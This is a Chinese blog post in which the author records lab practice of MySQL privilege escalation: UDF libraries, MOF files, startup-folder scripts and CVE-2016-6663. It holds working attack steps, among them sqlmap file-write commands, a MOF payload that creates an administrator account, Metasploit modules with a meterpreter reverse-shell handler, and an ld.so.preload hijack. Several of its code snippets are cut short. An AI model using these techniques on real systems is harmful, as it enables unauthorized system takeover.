之前面试官问到过相关的事,但基本没了解过,我tm直接开始学习。
我在外面搜到的提权方式有三种:UDF、MOF、反弹端口,国光师傅还提到了两种:启动项提权和CVE-2016-6663
UDF提权
原理
mysql中允许自定义函数,我们可以自定义执行函数来获得shell。
添加动态链接库
若mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
在mysql>=5.1的版本中,需要把lib_mysqludf_sys.dll或lib_mysqludf_sys.so放到mysql的lib/plugin
文件夹里。这个链接库提供了mysql和操作系统交互的功能。
这个在msf和sqlmap中都有。
sqlmap
sqlmap的经过了加密,在sqlmqp根目录/data/udf/mysql
里,可以用sqlmap根目录/exrta/cloak/cloak.py
解密,用法如下:
1 | 查看当前目录情况 |
msf
msf在MSF 根目录/embedded/framework/data/exploits/mysql
里,不过msf的不用解码,直接就可以用。
寻找插件目录
show veriables like '%plugin';
没有的话要用select @@basedir
手动查询目录然后进行创建,也可以用NTFS ADS流创建select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
写入动态链接库
在写入之前需要确定mysql的位数,用mysql -v
或进入mysql中用show variables like '%version_%'
,我的为64位。
不然就会有下面这种情况
分三种情况
sql注入且为最高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入
直接用sqlmap上传sqlmap -u "http://192.168.80.130/sqli-labs/Less-11/" --data="username=admin" --file-write="/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so" -file-dest="/usr/lib/mysql/plugin/udf.so"
没有注入的话,当 secure_file_priv 无限制时也可以手工写入到plugin下
获取文件的16进制的话可以用
1 | select hex(load_file('/usr/lib/mysql/plugin/udf.so')); |
再用这个写入
1 | # 直接 SELECT 查询十六进制写入 |
(有一说一,这也太长了,不被检测到都有鬼了,而且大多数时候linux的/user/lib权限都是不够的,很困难)
创建自定义函数并执行命令
1 | mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf64.so'; |
(然后在select sys_eval('whoami');
的时候失败了,我的是ubuntu14,不过在windows上搭的mysql成功了)
国光师傅还有两个通过这个直接拿shell的方法,我就不写了。
MOF提权
原理
winserver 2003的C:/Windows/system32/wbem/mof/
目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
上传mof文件
mof文件的内容为:
1 | #pragma namespace("\\\\.\\root\\subscription") |
核心部分为:
1 | var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\") |
然后再用之前的16进制将其写入
1 | select 0x2370...... into dumpfile "C:/windows/system32/wbem/mof/test.mof"; |
成功时,该文件会出现在c:/windows/system32/wbem/good/
目录下,否则出现在c:/windows/system32/wbem/bad
。
文件写入时注意secure_file_priv
。
(我在复现的时候用win10复现的,文件写入了但是没有执行)
msf直接提权
1 | use exploit/windows/mysql/mysql_mof |
我用的win10,铁的失败的,值得注意的是,在攻击之前要确定能不能远程连接该数据库,如果不能连接,则需要添加连接权限
1 | alter user 'root'@'localhost' identified by '这里是你的密码'; |
反弹端口连接
这个其实是udf提权的另一种方式,不过动态链接库换了一个而已,用法和原理区别不大。
我把国光师傅的下载链接放这里
1 | cmdshell # 执行cmd |
之后就跟前面的udf提权是一样的了。值得注意的是,他给的langouster_udf.php的php版本好像很老的样子(自 PHP 5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除),直接把dll放在plugin了就可以了。
顺带一提,这玩意好像要求32位,反正我是复现不成功的(mysql5.5和5.7都没成)
启动项提权
原理很简单,利用mysql写vbs脚本或exe到启动项目录里,然后在开关机或者用户登录的时候执行,简单说下方法,具体我就不复现了
vbs脚本内容如下:
1 | Set WshShell=WScript.CreateObject("WScript.Shell") |
1 | select 0x5365...... into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs"; |
然后就等他开关机或者登录就完事了。
msf也集成了相关的模块,exploit/windows/mysql/mysql_start_up
(他后面跟着的2012年给我整不会了)
1 | msf6 exploit(windows/mysql/mysql_start_up) > set RHOSTS 192.168.80.136 |
然后再开一个窗口进行监听
1 | handler -H 192.168.80.129 -P 4444 -p windows/meterpreter/reverse_tcp |
然后就无了
点击是可以上线的,也就是说,如果你有shell且权限够的话是可以直接运行上线的。
CVE-2016-6663
这个的exp在exploit-database里一下就能搜到,包括影响版本啥的,就不一一说明了。
- 准备工作:
- cp /bin/bash /tmp/mysqlrootsh
- 编译攻击者自定义so
- 删除error.log(需要mysql权限),并新建符号链接 ln -s /etc/ld.so.preload /var/log/mysql/error.log , error.log为符号链接文件,指向一个现在不存在的ld.so.preload文件(这种情况下判断error.log是否存在,结果是不存在的,并且touch error.log的结果是新建一个ld.so.preload文件)
- 杀掉mysqld进程,mysqld_safe检测到mysqld进程死掉了,会重启它,在重启的过程中检查error.log是否存在,因为刚刚error.log被换为了符号链接,所以mysqld_safe认为其不存在,然后touch error.log,结果攻击者成功借助mysqld_safe的root权限新建了ld.so.preload文件
- mysqld_safe进程执行chown mysql error.log ,因为error.log是符号链接,所以ld.so.preload的owner被改为mysql
- echo ‘/tmp/privesclib.so’ > /etc/ld.so.preload (攻击者有mysql权限,并且ld.so.preload的owner为mysql)
- 执行sudo, geteuid被调用,/tmp/mysqlrootsh权限的owner和group被改为root, 权限被改为04777
- 执行mysqlrootsh拿到root权限
参考的文章是国光师傅的文章
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2021/06/10/mysql提权/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!